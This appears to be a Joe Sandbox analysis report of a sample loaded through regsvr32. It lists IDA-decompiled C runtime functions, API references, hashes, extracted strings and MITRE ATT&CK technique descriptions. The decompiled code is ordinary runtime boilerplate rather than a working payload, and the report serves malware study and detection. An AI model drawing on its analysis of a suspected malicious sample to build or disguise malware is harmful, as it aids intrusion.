LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF74E4291
LntV4SWMfkM39n6mMSw3KbEg4, xrefs: 000007FEF74E4E19

Memory Dump Source

Source File: 00000005.00000002.1246196239.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 000007FEF74E0000, based on PE: true

Associated: 00000005.00000002.1246193182.000007FEF74E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246204814.000007FEF74F7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246210007.000007FEF7500000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246218358.000007FEF7505000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef74e0000_regsvr32.jbxd

Yara matches

Similarity

API ID: Load$MessageWindow$AllocateFreeHeapIconStringTaskTranslate$AcceleratorAcceleratorsAllocClassCreateCursorDispatchExitLibraryProcessRegisterShowUpdateVirtual
String ID: #r$4$#s]Y$$brB$$bxB$)5QH$,{P"$.:\3$3wa$5qN{$5vls$8QB$:EY$;-">$;;)P$=P'5$>'%\$>vBA$?P%5$AHCs$AU'l$AUf~$BwB$BwBAUf3EYRm7lBV3P)5Q$CAU#$CAU$DfO$H4Z'$Hb[3$LV=P$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$LntV4SWMfkM39n6mMSw3KbEg4$P)t$QvS$R@Uf$S8/$SbRU$Sm7($S}R$Ufvv$YRmr$YTf3$\)9Q$\>}T$\G2e$]LC*$`7aB$`0$a>$c8r6$d?Sh$eLRx$f3A-$f3EV$g3EY$m7(M$m7lM$o4}y$tjJZ$ug3E$wB5q$y4s${O4^${fWE$(5Q$3`)$;n$@WD${HJ${Hr$ i
API String ID: 969709653-2604367738
Opcode ID: 1f522f1898d5c03997dd77ec6b46a9deae6259606fadd3d2ed93620fe165c3b2
Instruction ID: c9c6f8deafdc8a4dd23f83e626894e685612c38ff783752724c73a04f07830b6
Opcode Fuzzy Hash: 1f522f1898d5c03997dd77ec6b46a9deae6259606fadd3d2ed93620fe165c3b2
Instruction Fuzzy Hash: AD638061A692824EEBA5EF62B8513EC3790E346BD8F845078E90D1F766DF3C9241CF05

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF74EE018 Relevance: 10.6, APIs: 7, Instructions: 98
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 18%

			E000007FE7FEF74EE018() {
				void* _t18;
				void* _t24;
				long long _t35;
				long long _t36;
				long long _t38;
				void* _t48;
				long long* _t50;
				long long _t52;
				long long _t53;
				void* _t55;
				void* _t56;
				void* _t57;
				void* _t58;
				void* _t61;
				int _t64;

				 *((long long*)(_t55 + 8)) = _t36;
				 *((long long*)(_t55 + 0x10)) = _t52;
				 *((intOrPtr*)(_t55 + 0x18)) = r8d;
				_t56 = _t55 - 0x40;
				r12d = r8d;
				r15d = _t18;
				E000007FE7FEF74EFD8C();
				if ( *0xf7502628 == 1) goto 0xf74ee155;
				 *0xf7502624 = 1;
				 *0xf7502620 = r12b;
				if (_t24 != 0) goto 0xf74ee141;
				__imp__DecodePointer(_t61, _t58, _t57, _t48); // executed
				_t53 = _t35;
				 *((long long*)(_t56 + 0x30)) = _t35;
				if (_t35 == 0) goto 0xf74ee12e;
				__imp__DecodePointer();
				 *((long long*)(_t56 + 0x20)) = _t35;
				 *((long long*)(_t56 + 0x28)) = _t53;
				 *((long long*)(_t56 + 0x38)) = _t35;
				_t50 = _t35 - 8;
				 *((long long*)(_t56 + 0x20)) = _t50;
				if (_t50 - _t53 < 0) goto 0xf74ee12e;
				E000007FE7FEF74ED84C();
				if ( *_t50 != _t35) goto 0xf74ee0ca;
				goto 0xf74ee0b0;
				if (_t50 - _t53 < 0) goto 0xf74ee12e;
				__imp__DecodePointer();
				E000007FE7FEF74ED84C();
				 *_t50 = _t35;
				 *_t35();
				__imp__DecodePointer();
				_t38 = _t35;
				__imp__DecodePointer();
				if (_t53 != _t38) goto 0xf74ee10c;
				if (_t35 == _t35) goto 0xf74ee0c8;
				 *((long long*)(_t56 + 0x28)) = _t38;
				 *((long long*)(_t56 + 0x30)) = _t38;
				 *((long long*)(_t56 + 0x38)) = _t35;
				 *((long long*)(_t56 + 0x20)) = _t35;
				goto 0xf74ee0c8;
				E000007FE7FEF74EDEF8(_t38, 0xf74f73b8, 0xf74f73d0);
				E000007FE7FEF74EDEF8(_t38, 0xf74f73d8, 0xf74f73e0);
				if (r12d == 0) goto 0xf74ee169;
				E000007FE7FEF74EFC8C();
				if (r12d != 0) goto 0xf74ee18f;
				 *0xf7502628 = 1;
				E000007FE7FEF74EFC8C();
				E000007FE7FEF74EDE48(_t35, 0xf74f73d8);
				ExitProcess(_t64);
			}

0x7fef74ee018
0x7fef74ee01d
0x7fef74ee022
0x7fef74ee030
0x7fef74ee034
0x7fef74ee039
0x7fef74ee041
0x7fef74ee04e
0x7fef74ee054
0x7fef74ee05e
0x7fef74ee067
0x7fef74ee074
0x7fef74ee07a
0x7fef74ee07d
0x7fef74ee085
0x7fef74ee092
0x7fef74ee09b
0x7fef74ee0a3
0x7fef74ee0ab
0x7fef74ee0b0
0x7fef74ee0b4
0x7fef74ee0bc
0x7fef74ee0be
0x7fef74ee0c6
0x7fef74ee0c8
0x7fef74ee0cd
0x7fef74ee0d2
0x7fef74ee0db
0x7fef74ee0e0
0x7fef74ee0e3
0x7fef74ee0ec
0x7fef74ee0f2
0x7fef74ee0fc
0x7fef74ee105
0x7fef74ee10a
0x7fef74ee10f
0x7fef74ee117
0x7fef74ee11f
0x7fef74ee127
0x7fef74ee12c
0x7fef74ee13c
0x7fef74ee14f
0x7fef74ee158
0x7fef74ee15f
0x7fef74ee167
0x7fef74ee169
0x7fef74ee178
0x7fef74ee180
0x7fef74ee188

APIs

_lock.LIBCMT ref: 000007FEF74EE041

Part of subcall function 000007FEF74EFD8C: _amsg_exit.LIBCMT ref: 000007FEF74EFDB6

RtlDecodePointer.NTDLL(?,?,?,?,?,?,00000000,000007FEF74EE1E9,?,?,00000000,000007FEF74EFDBB), ref: 000007FEF74EE074
DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,000007FEF74EE1E9,?,?,00000000,000007FEF74EFDBB), ref: 000007FEF74EE092
DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,000007FEF74EE1E9,?,?,00000000,000007FEF74EFDBB), ref: 000007FEF74EE0D2
DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,000007FEF74EE1E9,?,?,00000000,000007FEF74EFDBB), ref: 000007FEF74EE0EC
DecodePointer.KERNEL32(?,?,?,?,?,?,00000000,000007FEF74EE1E9,?,?,00000000,000007FEF74EFDBB), ref: 000007FEF74EE0FC
ExitProcess.KERNEL32 ref: 000007FEF74EE188

Memory Dump Source

Source File: 00000005.00000002.1246196239.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 000007FEF74E0000, based on PE: true

Associated: 00000005.00000002.1246193182.000007FEF74E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246204814.000007FEF74F7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246210007.000007FEF7500000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246218358.000007FEF7505000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef74e0000_regsvr32.jbxd

Yara matches

Similarity

API ID: DecodePointer$ExitProcess_amsg_exit_lock
String ID:
API String ID: 3411037476-0
Opcode ID: fa62ff37eb1ee0fdb7c4761492bc8745458489f2aa957d5928a0025dfa04857c
Instruction ID: a938a83824ef1e66c4e5f37d4d54252a629f5a0a8a93c4c692919a827c7a2a96
Opcode Fuzzy Hash: fa62ff37eb1ee0fdb7c4761492bc8745458489f2aa957d5928a0025dfa04857c
Instruction Fuzzy Hash: F8417735A2AA5381FAD19B11EC4037966E4B788BE4F5400B8FA8E437B5DF7CE495C708

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF74EDB58 Relevance: 4.5, APIs: 3, Instructions: 35
memorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 34%

			E000007FE7FEF74EDB58(long* __rax) {
				void* __rbx;
				void* _t4;
				intOrPtr _t5;
				void* _t6;
				long _t8;
				void* _t12;
				intOrPtr _t14;
				void* _t17;
				long* _t23;
				void* _t24;
				long* _t25;
				void* _t26;
				void* _t29;
				void* _t31;
				void* _t32;
				void* _t33;

				_t23 = __rax;
				_t4 = E000007FE7FEF74EDEB4(__rax, _t24, _t29); // executed
				_t5 = E000007FE7FEF74EFB80(_t4, _t12, _t17, _t24, _t26, _t31, _t32);
				if (_t5 == 0) goto 0xf74edbcc;
				__imp__FlsAlloc();
				 *0xf7500a30 = _t5;
				if (_t5 == 0xffffffff) goto 0xf74edbcc;
				_t6 = E000007FE7FEF74EC464(_t24, 0x7fef74ed9e4, _t29, _t31, _t32, _t33);
				_t25 = _t23;
				if (_t23 == 0) goto 0xf74edbcc;
				_t14 =  *0xf7500a30; // 0x5
				__imp__FlsSetValue();
				if (_t6 == 0) goto 0xf74edbcc;
				E000007FE7FEF74ED884(_t6, _t14, 0, _t25, _t25, _t23);
				_t8 = GetCurrentThreadId();
				_t25[2] = _t25[2] | 0xffffffff;
				 *_t25 = _t8;
				goto 0xf74edbd3;
				E000007FE7FEF74ED85C(1, _t14, 0, _t25, _t23);
				return 0;
			}

0x7fef74edb58
0x7fef74edb5e
0x7fef74edb63
0x7fef74edb6a
0x7fef74edb73
0x7fef74edb79
0x7fef74edb82
0x7fef74edb8e
0x7fef74edb93
0x7fef74edb99
0x7fef74edb9b
0x7fef74edba4
0x7fef74edbac
0x7fef74edbb3
0x7fef74edbb8
0x7fef74edbbe
0x7fef74edbc3
0x7fef74edbca
0x7fef74edbcc
0x7fef74edbd8

APIs

Part of subcall function 000007FEF74EDEB4: EncodePointer.KERNEL32 ref: 000007FEF74EDE33
Part of subcall function 000007FEF74EDEB4: _initp_misc_winsig.LIBCMT ref: 000007FEF74EDEE5

Part of subcall function 000007FEF74EFB80: InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,?,000007FEF74EDB68,?,?,?,000007FEF74E8E33), ref: 000007FEF74EFBC5

FlsAlloc.KERNEL32(?,?,?,000007FEF74E8E33), ref: 000007FEF74EDB73

Part of subcall function 000007FEF74EC464: Sleep.KERNEL32(?,?,?,000007FEF74ED96F,?,?,?,000007FEF74EF5C9,?,?,?,?,000007FEF74ED3C6,?,?,?), ref: 000007FEF74EC4A9

FlsSetValue.KERNEL32(?,?,?,000007FEF74E8E33), ref: 000007FEF74EDBA4

Part of subcall function 000007FEF74ED884: _lock.LIBCMT ref: 000007FEF74ED8D8
Part of subcall function 000007FEF74ED884: _lock.LIBCMT ref: 000007FEF74ED8F7

GetCurrentThreadId.KERNEL32(?,?,?,000007FEF74E8E33), ref: 000007FEF74EDBB8

Memory Dump Source

Source File: 00000005.00000002.1246196239.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 000007FEF74E0000, based on PE: true

Associated: 00000005.00000002.1246193182.000007FEF74E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246204814.000007FEF74F7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246210007.000007FEF7500000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246218358.000007FEF7505000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef74e0000_regsvr32.jbxd

Yara matches

Similarity

API ID: _lock$AllocCountCriticalCurrentEncodeInitializePointerSectionSleepSpinThreadValue_initp_misc_winsig
String ID:
API String ID: 3311150041-0
Opcode ID: 563ba2b497b724dfe8105aa0f64df9c03b6129da4ec98886fb8d82d1cc552489
Instruction ID: 7a6fcad74eacd19486f5869e84ceef87099f549fdfdbebc093104bf779bd424d
Opcode Fuzzy Hash: 563ba2b497b724dfe8105aa0f64df9c03b6129da4ec98886fb8d82d1cc552489
Instruction Fuzzy Hash: 21016220E2860349F7D4AB75981537822D16B547F0F4846B4B47D872F2EE3CA445CA10

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF74EEA90 Relevance: 4.5, APIs: 3, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE ref: 000007FEF74EEAA6
GetVersion.KERNEL32 ref: 000007FEF74EEAB8
HeapSetInformation.KERNEL32 ref: 000007FEF74EEAD6

Memory Dump Source

Source File: 00000005.00000002.1246196239.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 000007FEF74E0000, based on PE: true

Associated: 00000005.00000002.1246193182.000007FEF74E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246204814.000007FEF74F7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246210007.000007FEF7500000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246218358.000007FEF7505000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef74e0000_regsvr32.jbxd

Yara matches

Similarity

API ID: Heap$CreateInformationVersion
String ID:
API String ID: 3563531100-0
Opcode ID: 1ea3229dc46f1d4a0352a5312c6b83ff2f083a6c52a9eefe1a8ca3a2de814203
Instruction ID: 1b782553ebda7336c069b46e1fb0b012b0321ec24726cb367b46d779d859596c
Opcode Fuzzy Hash: 1ea3229dc46f1d4a0352a5312c6b83ff2f083a6c52a9eefe1a8ca3a2de814203
Instruction Fuzzy Hash: B4E09278E3965282FBD55751A8497B522D0F788391FC01438F94E037B4DE7CD086C704

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF74EDEB4 Relevance: 3.0, APIs: 2, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E000007FE7FEF74EDEB4(intOrPtr* __rax, void* __rbx, void* __rdx, long long _a8) {
				void* _t3;
				void* _t9;
				long long* _t14;
				long long _t17;
				void* _t28;

				E000007FE7FEF74ED84C(); // executed
				E000007FE7FEF74F43E4(E000007FE7FEF74F4714(E000007FE7FEF74EF24C(E000007FE7FEF74EF290(E000007FE7FEF74EF254(_t3, __rax), __rax), __rax), __rax), __rax);
				_pop(_t17);
				goto 0xf74ede28;
				asm("int3");
				if (__rax - __rdx >= 0) goto 0xf74edf2a;
				_a8 = _t17;
				_t14 =  *((intOrPtr*)(__rax));
				if (_t14 == 0) goto 0xf74edf17;
				_t9 =  *_t14(_t28);
				if (__rax + 8 - __rdx < 0) goto 0xf74edf0d;
				return _t9;
			}

0x7fef74edeba
0x7fef74edee5
0x7fef74edef1
0x7fef74edef2
0x7fef74edef7
0x7fef74edefb
0x7fef74edefd
0x7fef74edf0d
0x7fef74edf13
0x7fef74edf15
0x7fef74edf1e
0x7fef74edf2a

APIs

EncodePointer.KERNEL32 ref: 000007FEF74EDE33
_initp_misc_winsig.LIBCMT ref: 000007FEF74EDEE5

Memory Dump Source

Source File: 00000005.00000002.1246196239.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 000007FEF74E0000, based on PE: true

Associated: 00000005.00000002.1246193182.000007FEF74E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246204814.000007FEF74F7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246210007.000007FEF7500000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246218358.000007FEF7505000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef74e0000_regsvr32.jbxd

Yara matches

Similarity

API ID: EncodePointer_initp_misc_winsig
String ID:
API String ID: 2349294043-0
Opcode ID: 8d3f1213d7f73ebf5a4ab891a74a7c3ec0c025a7e20eb38cdbf6d46c2a5dfc04
Instruction ID: 459514a5afe3bf624a162310a28088c72a371ce8a555d84b84e20e64d4fdfe24
Opcode Fuzzy Hash: 8d3f1213d7f73ebf5a4ab891a74a7c3ec0c025a7e20eb38cdbf6d46c2a5dfc04
Instruction Fuzzy Hash: 0AE0ED14EA964380EEC8FBA668622B812D05799BE1F441070B81F4B3F29E3DA1958704

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF74F471C Relevance: 1.5, APIs: 1, Instructions: 15COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(?,?,?,000007FEF74EDF9B,?,?,?,000007FEF74E8E85), ref: 000007FEF74F4735

Memory Dump Source

Source File: 00000005.00000002.1246196239.000007FEF74E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 000007FEF74E0000, based on PE: true

Associated: 00000005.00000002.1246193182.000007FEF74E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246204814.000007FEF74F7000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246210007.000007FEF7500000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.1246218358.000007FEF7505000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7fef74e0000_regsvr32.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 6ec9d99019e729d3521919ca2de1bc9e27273abe180a87a70a7f20145cf695b8
Instruction ID: bb57c8e8d5b3f76b9cb94c0b7da143e37a5f3781112a8f94accfe61b3a002b6c
Opcode Fuzzy Hash: 6ec9d99019e729d3521919ca2de1bc9e27273abe180a87a70a7f20145cf695b8
Instruction Fuzzy Hash: 51D01226B64A41D2DB818B15F54036863E0F7887D5F988030EA4D07664DE3CC4A5C705

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

